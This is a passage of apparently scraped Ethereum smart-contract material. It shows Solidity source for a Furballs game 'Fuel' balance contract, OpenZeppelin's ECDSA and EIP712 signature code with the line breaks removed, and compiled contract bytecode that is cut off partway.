ETH a user has deposited into Furballs' pools, etc. contract Fuel is FurProxy { mapping(address => uint256) public tank; uint256 public conversionRate = 100000000000; constructor(address furballsAddress) FurProxy(furballsAddress) { } /// @notice Change ETH/Fuel ratio function setConversion(uint256 rate) external gameModerators { conversionRate = rate; } /// @notice Direct deposit function /// @dev Pass zero address to apply to self function deposit(address to) external payable { require(msg.value > 0, "VALUE"); if (to == address(0)) to = msg.sender; tank[to] += msg.value / conversionRate; } /// @notice Sends payout to the treasury function settle(uint256 amount) external gameModerators { if (amount == 0) amount = address(this).balance; furballs.governance().treasury().transfer(amount); } /// @notice Increases balance function gift(address[] calldata tos, uint256[] calldata amounts) external gameModerators { for (uint i=0; i<tos.length; i++) { tank[tos[i]] += amounts[i]; } } /// @notice Decreases balance. Returns the amount withdrawn, where zero indicates failure. /// @dev Does not require/throw, but empties the balance when it exceeds the requested amount. function burn(address from, uint256 amount) external gameModerators returns(uint) { return _burn(from, amount); } /// @notice Burn lots of fuel from different players function burnAll( address[] calldata wallets, uint256[] calldata requestedFuels ) external gameModerators { for (uint i=0; i<wallets.length; i++) { _burn(wallets[i], requestedFuels[i]); } } /// @notice Internal burn function _burn(address from, uint256 amount) internal returns(uint) { uint256 bal = tank[from]; if (bal == 0) { return 0; } else if (bal > amount) { tank[from] = bal - amount; } else { amount = bal; tank[from] = 0; } return amount; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ECDSA.sol"; /** * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding * they need in their contracts using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. * * _Available since v3.4._ */ abstract contract EIP712 { /* solhint-disable var-name-mixedcase */ // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to // invalidate the cached domain separator if the chain id changes. bytes32 private immutable _CACHED_DOMAIN_SEPARATOR; uint256 private immutable _CACHED_CHAIN_ID; bytes32 private immutable _HASHED_NAME; bytes32 private immutable _HASHED_VERSION; bytes32 private immutable _TYPE_HASH; /* solhint-enable var-name-mixedcase */ /** * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. */ constructor(string memory name, string memory version) { bytes32 hashedName = keccak256(bytes(name)); bytes32 hashedVersion = keccak256(bytes(version)); bytes32 typeHash = keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ); _HASHED_NAME = hashedName; _HASHED_VERSION = hashedVersion; _CACHED_CHAIN_ID = block.chainid; _CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion); _TYPE_HASH = typeHash; } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view returns (bytes32) { if (block.chainid == _CACHED_CHAIN_ID) { return _CACHED_DOMAIN_SEPARATOR; } else { return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION); } } function _buildDomainSeparator( bytes32 typeHash, bytes32 nameHash, bytes32 versionHash ) private view returns (bytes32) { return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this))); } /** * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for this domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` */ function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash); } }
0x608060405234801561001057600080fd5b50600436106101585760003560e01c806385ff1c32116100c3578063ba63e8301161007c578063ba63e830146104c7578063c321118c146104da578063c3c54398146104ed578063ce619a0c1461051c578063e56004811461052f578063f0d1d9281461054257600080fd5b806385ff1c321461044857806395046e571461045b578063a5ae52961461046e578063a965d7b51461048e578063aa0263c2146104a1578063ad04662e146104b457600080fd5b806348a6d9af1161011557806348a6d9af146102935780635664aa20146102a65780635a18a163146103ce57806360683c47146103e1578063702fe3a6146103f45780637469fe9f1461043557600080fd5b806309d775ff1461015d5780631bd29d251461020d5780631debbe2f1461024557806333d02b411461025a5780633531c9381461026d57806343ed8aa614610280575b600080fd5b6101bf61016b366004612734565b60016020526000908152604090205460ff81169061ffff6101008204169063ffffffff63010000008204811691600160381b8104821691600160581b820416906001600160401b03600160781b9091041686565b6040805160ff909716875261ffff909516602087015263ffffffff9384169486019490945290821660608501521660808301526001600160401b031660a082015260c0015b60405180910390f35b61023561021b366004612734565b60009081526001602081905260409091205460ff16141590565b6040519015158152602001610204565b610258610253366004612766565b610555565b005b610258610268366004612463565b6105f9565b61025861027b366004612766565b6106d5565b61025861028e366004612531565b61074e565b6102586102a1366004612463565b610862565b6103646102b4366004612734565b6040805160c081018252600080825260208201819052918101829052606081018290526080810182905260a081019190915250600090815260016020908152604091829020825160c081018452905460ff8116825261ffff6101008204169282019290925263ffffffff63010000008304811693820193909352600160381b820483166060820152600160581b820490921660808301526001600160401b03600160781b9091041660a082015290565b6040516102049190600060c08201905060ff835116825261ffff6020840151166020830152604083015163ffffffff808216604085015280606086015116606085015280608086015116608085015250506001600160401b0360a08401511660a083015292915050565b6102586103dc36600461249d565b6108ad565b6103646103ef366004612792565b61091b565b61041d610402366004612792565b6002602052600090815260409020546001600160a01b031681565b6040516001600160a01b039091168152602001610204565b6102586104433660046124f0565b610a62565b61025861045636600461259c565b610c05565b61025861046936600461249d565b610d3b565b61048161047c3660046126e1565b610e1e565b6040516102049190612aab565b61025861049c3660046127ad565b610fd1565b6102586104af366004612766565b611008565b6102586104c2366004612531565b61103b565b6102586104d5366004612531565b6110ef565b6104816104e8366004612734565b6111af565b61041d6104fb366004612792565b63ffffffff166000908152600260205260409020546001600160a01b031690565b60005461041d906001600160a01b031681565b61048161053d366004612792565b6112b4565b6102586105503660046124f0565b6112c5565b6004610560336114bb565b10156105875760405162461bcd60e51b815260040161057e90612adb565b60405180910390fd5b6000828152600160205260409020805467ffffffffffffffff60781b1916600160781b426001600160401b03160217808255829190600b906105d7908490600160581b900463ffffffff16612ba8565b92506101000a81548163ffffffff021916908363ffffffff1602179055505050565b6004610604336114bb565b10156106225760405162461bcd60e51b815260040161057e90612adb565b60008190508060026000836001600160a01b0316638381f58a6040518163ffffffff1660e01b815260040160206040518083038186803b15801561066557600080fd5b505afa158015610679573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061069d919061274d565b63ffffffff168152602081019190915260400160002080546001600160a01b0319166001600160a01b03929092169190911790555050565b60046106e0336114bb565b10156106fe5760405162461bcd60e51b815260040161057e90612adb565b6000828152600160205260409020805467ffffffffffffffff60781b1916600160781b426001600160401b031602178082558291906007906105d7908490600160381b900463ffffffff16612ba8565b6004610759336114bb565b10156107775760405162461bcd60e51b815260040161057e90612adb565b60005b8381101561085b57426001600087878581811061079957610799612efb565b905060200201358152602001908152602001600020600001600f6101000a8154816001600160401b0302191690836001600160401b031602179055508282828181106107e7576107e7612efb565b90506020020160208101906107fc9190612792565b6001600087878581811061081257610812612efb565b905060200201358152602001908152602001600020600001600b6101000a81548163ffffffff021916908363ffffffff160217905550808061085390612ea0565b91505061077a565b5050505050565b600561086d336114bb565b101561088b5760405162461bcd60e51b815260040161057e90612abe565b600080546001600160a01b0319166001600160a01b0392909216919091179055565b60046108b8336114bb565b10156108d65760405162461bcd60e51b815260040161057e90612adb565b60005b82811015610915576109038484838181106108f6576108f6612efb565b9050602002013583611507565b8061090d81612ea0565b9150506108d9565b50505050565b6040805160c081018252600080825260208201819052918101829052606081018290526080810182905260a08101829052815490916001916001600160a01b0316634f6ccce761096b8487612d47565b6040516001600160e01b031960e084901b16815263ffffffff91909116600482015260240160206040518083038186803b1580156109a857600080fd5b505afa1580156109bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109e0919061274d565b81526020808201929092526040908101600020815160c081018352905460ff81168252610100810461ffff16938201939093526301000000830463ffffffff90811692820192909252600160381b830482166060820152600160581b83049091166080820152600160781b9091046001600160401b031660a082015292915050565b6000610a6d33611604565b905060005b82811015610915578180610b26575060005433906001600160a01b0316636352211e868685818110610aa657610aa6612efb565b905060200201356040518263ffffffff1660e01b8152600401610acb91815260200190565b60206040518083038186803b158015610ae357600080fd5b505afa158015610af7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b1b9190612480565b6001600160a01b0316145b610b425760405162461bcd60e51b815260040161057e90612abe565b60016000858584818110610b5857610b58612efb565b602090810292909201358352508101919091526040016000205460ff16610baa5760405162461bcd60e51b815260040161057e906020808252600490820152634d4f444560e01b604082015260600190565b600060016000868685818110610bc257610bc2612efb565b90506020020135815260200190815260200160002060000160006101000a81548160ff021916908360ff1602179055508080610bfd90612ea0565b915050610a72565b6004610c10336114bb565b1015610c2e5760405162461bcd60e51b815260040161057e90612adb565b60005b85811015610d3257848482818110610c4b57610c4b612efb565b9050602002016020810190610c6091906127d7565b60016000898985818110610c7657610c76612efb565b905060200201358152602001908152602001600020600001600f6101000a8154816001600160401b0302191690836001600160401b03160217905550828282818110610cc457610cc4612efb565b9050602002016020810190610cd991906127f2565b60016000898985818110610cef57610cef612efb565b90506020020135815260200190815260200160002060000160006101000a81548160ff021916908360ff1602179055508080610d2a90612ea0565b915050610c31565b50505050505050565b60008054906101000a90046001600160a01b03166001600160a01b031663c9d4623f6040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8757600080fd5b505afa158015610d9b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dbf9190612480565b6001600160a01b031663af07b950848484336040518563ffffffff1660e01b8152600401610df0949392919061298a565b600060405180830381600087803b158015610e0a57600080fd5b505af1158015610d32573d6000803e3d6000fd5b60606000610e30610100860186612af9565b610e3990612d6c565b60a0810151600086815260016020526040812054608084015193945061ffff909216929091610e7691630100000090910463ffffffff1690611728565b9050620100008163ffffffff161015610f5057600086815260016020908152604091829020825160c081018452905460ff8116825261ffff6101008204169282019290925263ffffffff63010000008304811693820193909352600160381b820483166060820152600160581b820490921660808301526001600160401b03600160781b909104811660a083018190526101208601519091161015610f4e576000878152600160205260409020546060850151610f4b91610f4591600160581b90910463ffffffff1690612ba8565b8761174f565b92505b505b610f776040518060400160405280600581526020016413195d995b60da1b815250836117ac565b610fa5604051806040016040528060048152602001635a6f6e6560e01b815250610fa0846117c8565b6118eb565b604051602001610fb6929190612841565b60405160208183030381529060405293505050509392505050565b6004610fdc336114bb565b1015610ffa5760405162461bcd60e51b815260040161057e90612adb565b6110048282611917565b5050565b6004611013336114bb565b10156110315760405162461bcd60e51b815260040161057e90612adb565b6110048282611507565b6004611046336114bb565b10156110645760405162461bcd60e51b815260040161057e90612adb565b60005b8381101561085b5782828281811061108157611081612efb565b905060200201602081019061109691906127f2565b600160008787858181106110ac576110ac612efb565b90506020020135815260200190815260200160002060000160006101000a81548160ff021916908360ff16021790555080806110e790612ea0565b915050611067565b60046110fa336114bb565b10156111185760405162461bcd60e51b815260040161057e90612adb565b60005b8381101561085b5782828281811061113557611135612efb565b905060200201602081019061114a91906127d7565b6001600087878581811061116057611160612efb565b905060200201358152602001908152602001600020600001600f6101000a8154816001600160401b0302191690836001600160401b0316021790555080806111a790612ea0565b91505061111b565b6000818152600160205260409020546060906301000000900463ffffffff16806111e9575050604080516020810190915260008152919050565b60006002816111f9600185612d30565b63ffffffff1681526020810191909152604001600020546001600160a01b03169050801561129b57806001600160a01b031663a895ed216040518163ffffffff1660e01b815260040160006040518083038186803b15801561125a57600080fd5b505afa15801561126e573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526112969190810190612657565b6112ac565b604051806020016040528060008152505b949350505050565b60606112bf826117c8565b92915050565b60006112d033611604565b905060005b82811015610915578180611389575060005433906001600160a01b0316636352211e86868581811061130957611309612efb565b905060200201356040518263ffffffff1660e01b815260040161132e91815260200190565b60206040518083038186803b15801561134657600080fd5b505afa15801561135a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061137e9190612480565b6001600160a01b0316145b6113a55760405162461bcd60e51b815260040161057e90612abe565b600160008585848181106113bb576113bb612efb565b602090810292909201358352508101919091526040016000205460ff161561140e5760405162461bcd60e51b815260040161057e906020808252600490820152634d4f444560e01b604082015260600190565b600180600086868581811061142557611425612efb565b90506020020135815260200190815260200160002060000160006101000a81548160ff021916908360ff160217905550426001600086868581811061146c5761146c612efb565b905060200201358152602001908152602001600020600001600f6101000a8154816001600160401b0302191690836001600160401b0316021790555080806114b390612ea0565b9150506112d5565b60006001600160a01b038216156114fe57813b6001600160a01b038316321480156114e4575080155b156114fc576114f283611a24565b60ff169392505050565b505b6112bf82611bfd565b600082815260016020526040902054600160781b90046001600160401b031615611558576000828152600160205260409020805476ffffffffffffffffffffffffffffffff00000000000000191690555b611563816001612ba8565b6000838152600160205260409020805466ffffffff0000001916630100000063ffffffff93841602179055811615806115a457508063ffffffff1662010000145b156115ad575050565b63ffffffff81166000908152600260205260409020546001600160a01b031680156115ff576040516322ab9e8760e01b8152600481018490526001600160a01b038216906322ab9e8790602401610df0565b505050565b60008060009054906101000a90046001600160a01b03166001600160a01b031663c9d4623f6040518163ffffffff1660e01b815260040160206040518083038186803b15801561165357600080fd5b505afa158015611667573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061168b9190612480565b6001600160a01b031663ea6317f96040518163ffffffff1660e01b815260040160206040518083038186803b1580156116c357600080fd5b505afa1580156116d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116fb9190612480565b6001600160a01b0316826001600160a01b031614806112bf57506004611720836114bb565b101592915050565b6000808363ffffffff161161173d5781611748565b611748600184612d47565b9392505050565b60008163ffffffff168363ffffffff161161176a578261176c565b815b925061174860648463ffffffff16106117a55760648061178c8680612ba8565b6117969190612d47565b6117a09190612c00565b611faf565b6000611faf565b606061174883604051806020016040528060008152508461203d565b606063ffffffff82166117f85750506040805180820190915260078152664578706c6f726560c81b602082015290565b8163ffffffff1662010000141561182b575050604080518082019091526006815265426174746c6560d01b602082015290565b63ffffffff82166000908152600260205260409020546001600160a01b031680156118ca57806001600160a01b03166306fdde036040518163ffffffff1660e01b815260040160006040518083038186803b15801561188957600080fd5b505afa15801561189d573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526118c59190810190612657565b611748565b604051806040016040528060018152602001603f60f81b8152509392505050565b60608282604051602001611900929190612914565b604051602081830303815290604052905092915050565b600080546001600160a01b0316634f6ccce7611934600186612d47565b6040516001600160e01b031960e084901b16815263ffffffff91909116600482015260240160206040518083038186803b15801561197157600080fd5b505afa158015611985573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119a9919061274d565b905060ff81166119f9576119c081600560016120c1565b600614156119d6576119d3600a83612b73565b91505b6119e381600b60016120c1565b600c14156119f9576119f6600a83612b73565b91505b6000908152600160205260409020805461ffff9092166101000262ffff001990921691909117905550565b60006001600160a01b038216611a3c57506000919050565b60008054906101000a90046001600160a01b03166001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b158015611a8857600080fd5b505afa158015611a9c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ac09190612480565b6001600160a01b0316826001600160a01b03161415611ae157506005919050565b600054604051630935e01b60e21b81526001600160a01b038481166004830152909116906324d7806c9060240160206040518083038186803b158015611b2657600080fd5b505afa158015611b3a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b5e9190612635565b15611b6b57506004919050565b600054604051637d379c9b60e11b81526001600160a01b0384811660048301529091169063fa6f39369060240160206040518083038186803b158015611bb057600080fd5b505afa158015611bc4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611be89190612635565b15611bf557506002919050565b506001919050565b600080546001600160a01b0383811691161480611cae575060008054906101000a90046001600160a01b03166001600160a01b031663c9d4623f6040518163ffffffff1660e01b815260040160206040518083038186803b158015611c6157600080fd5b505afa158015611c75573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c999190612480565b6001600160a01b0316826001600160a01b0316145b80611d4d575060008054906101000a90046001600160a01b03166001600160a01b0316635ac025826040518163ffffffff1660e01b815260040160206040518083038186803b158015611d0057600080fd5b505afa158015611d14573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d389190612480565b6001600160a01b0316826001600160a01b0316145b80611dec575060008054906101000a90046001600160a01b03166001600160a01b0316635aa6e6756040518163ffffffff1660e01b815260040160206040518083038186803b158015611d9f57600080fd5b505afa158015611db3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611dd79190612480565b6001600160a01b0316826001600160a01b0316145b80611e8b575060008054906101000a90046001600160a01b03166001600160a01b03166392eec6b26040518163ffffffff1660e01b815260040160206040518083038186803b158015611e3e57600080fd5b505afa158015611e52573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e769190612480565b6001600160a01b0316826001600160a01b0316145b80611f9a575060008054906101000a90046001600160a01b03166001600160a01b031663c9d4623f6040518163ffffffff1660e01b815260040160206040518083038186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f159190612480565b6001600160a01b03166303d250496040518163ffffffff1660e01b815260040160206040518083038186803b158015611f4d57600080fd5b505afa158015611f61573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f859190612480565b6001600160a01b0316826001600160a01b0316145b15611fa757506010919050565b506000919050565b600060018263ffffffff161015611fc857506000919050565b60048263ffffffff161015611fdf57506001919050565b60006002611fee846001612ba8565b611ff89190612c00565b63ffffffff908116915083165b808210156117485750806002816120228163ffffffff8816612bec565b61202c9190612b90565b6120369190612bec565b9150612005565b606083600084511161205e576040518060200160405280600081525061208c565b60405180604001604052806014815260200173111610113234b9b83630bcafba3cb832911d101160611b8152505b84612096856120e9565b6040516020016120a99493929190612870565b60405160208183030381529060405290509392505050565b60006120cc82612211565b6120d584612211565b6120df9086612bec565b6112ac9190612ebb565b60608161210d5750506040805180820190915260018152600360fc1b602082015290565b8160005b8115612137578061212181612ea0565b91506121309050600a83612bec565b9150612111565b6000816001600160401b0381111561215157612151612f11565b6040519080825280601f01601f19166020018201604052801561217b576020820181803683370190505b509050815b851561220857612191600182612d30565b905060006121a0600a88612bec565b6121ab90600a612d11565b6121b59088612d30565b6121c0906030612bc7565b905060008160f81b9050808484815181106121dd576121dd612efb565b60200101906001600160f81b031916908160001a9053506121ff600a89612bec565b97505050612180565b50949350505050565b600060ff821661222357506001919050565b8160ff16600114156122385750610100919050565b8160ff166002141561224e575062010000919050565b8160ff166003141561226557506301000000919050565b8160ff166004141561227d5750640100000000919050565b8160ff1660051415612296575065010000000000919050565b8160ff16600614156122b057506601000000000000919050565b8160ff16600714156122c75750600160381b919050565b8160ff16600814156122e3575068010000000000000000919050565b8160ff166009141561230057506901000000000000000000919050565b8160ff16600a14156123175750600160501b919050565b8160ff16600b141561232e5750600160581b919050565b8160ff16600c14156123455750600160601b919050565b6112bf82610100612c66565b60008083601f84011261236357600080fd5b5081356001600160401b0381111561237a57600080fd5b6020830191508360208260051b850101111561239557600080fd5b9250929050565b600082601f8301126123ad57600080fd5b813560206001600160401b038211156123c8576123c8612f11565b8160051b6123d7828201612b43565b8381528281019086840183880185018910156123f257600080fd5b600093505b858410156124155780358352600193909301929184019184016123f7565b50979650505050505050565b803561ffff8116811461243357600080fd5b919050565b803563ffffffff8116811461243357600080fd5b80356001600160401b038116811461243357600080fd5b60006020828403121561247557600080fd5b813561174881612f27565b60006020828403121561249257600080fd5b815161174881612f27565b6000806000604084860312156124b257600080fd5b83356001600160401b038111156124c857600080fd5b6124d486828701612351565b90945092506124e7905060208501612438565b90509250925092565b6000806020838503121561250357600080fd5b82356001600160401b0381111561251957600080fd5b61252585828601612351565b90969095509350505050565b6000806000806040858703121561254757600080fd5b84356001600160401b038082111561255e57600080fd5b61256a88838901612351565b9096509450602087013591508082111561258357600080fd5b5061259087828801612351565b95989497509550505050565b600080600080600080606087890312156125b557600080fd5b86356001600160401b03808211156125cc57600080fd5b6125d88a838b01612351565b909850965060208901359150808211156125f157600080fd5b6125fd8a838b01612351565b9096509450604089013591508082111561261657600080fd5b5061262389828a01612351565b979a9699509497509295939492505050565b60006020828403121561264757600080fd5b8151801515811461174857600080fd5b60006020828403121561266957600080fd5b81516001600160401b038082111561268057600080fd5b818401915084601f83011261269457600080fd5b8151818111156126a6576126a6612f11565b6126b9601f8201601f1916602001612b43565b91508082528560208285010111156126d057600080fd5b612208816020840160208601612e74565b6000806000606084860312156126f657600080fd5b83356001600160401b0381111561270c57600080fd5b8401610140818703121561271f57600080fd5b9250602084013591506124e760408501612438565b60006020828403121561274657600080fd5b5035919050565b60006020828403121561275f57600080fd5b5051919050565b6000806040838503121561277957600080fd5b8235915061278960208401612438565b90509250929050565b6000602082840312156127a457600080fd5b61174882612438565b600080604083850312156127c057600080fd5b6127c983612438565b915061278960208401612421565b6000602082840312156127e957600080fd5b6117488261244c565b60006020828403121561280457600080fd5b813560ff8116811461174857600080fd5b6000815180845261282d816020860160208601612e74565b601f01601f19169290920160200192915050565b60008351612853818460208801612e74565b835190830190612867818360208801612e74565b01949350505050565b6f3d913a3930b4ba2fba3cb832911d101160811b8152845160009061289c816010850160208a01612e74565b8551908301906128b3816010840160208a01612e74565b85519101906128c9816010840160208901612e74565b6b0111610113b30b63ab2911d160a51b6010929091019182015283516128f681601c840160208801612e74565b6203e96160ed1b601c9290910191820152601f019695505050505050565b6f3d913a3930b4ba2fba3cb832911d101160811b81528251600090612940816010850160208801612e74565b6c111610113b30b63ab2911d101160991b601091840191820152835161296d81601d840160208801612e74565b630113e96160e51b601d9290910191820152602101949350505050565b6060808252818101859052600090600560808085019088831b86010189855b8a811015612a7a57878303607f190184528135368d9003603e190181126129cf57600080fd5b8c0180358452604084810160208084013536859003601e190181126129f357600080fd5b840180356001600160401b03811115612a0b57600080fd5b808b1b3603861315612a1c57600080fd5b8883019490945291839052898701935081810192600092905b80841015612a625763ffffffff612a4b86612438565b168652948201949382019360019390930192612a35565b505096870196929550505091909101906001016129a9565b505063ffffffff881660208701529350612a9392505050565b6001600160a01b038316604083015295945050505050565b6020815260006117486020830184612815565b60208082526003908201526227aba760e91b604082015260600190565b60208082526004908201526347414d4560e01b604082015260600190565b6000823561017e19833603018112612b1057600080fd5b9190910192915050565b60405161018081016001600160401b0381118282101715612b3d57612b3d612f11565b60405290565b604051601f8201601f191681016001600160401b0381118282101715612b6b57612b6b612f11565b604052919050565b600061ffff80831681851680830382111561286757612867612ecf565b60008219821115612ba357612ba3612ecf565b500190565b600063ffffffff80831681851680830382111561286757612867612ecf565b600060ff821660ff84168060ff03821115612be457612be4612ecf565b019392505050565b600082612bfb57612bfb612ee5565b500490565b600063ffffffff80841680612c1757612c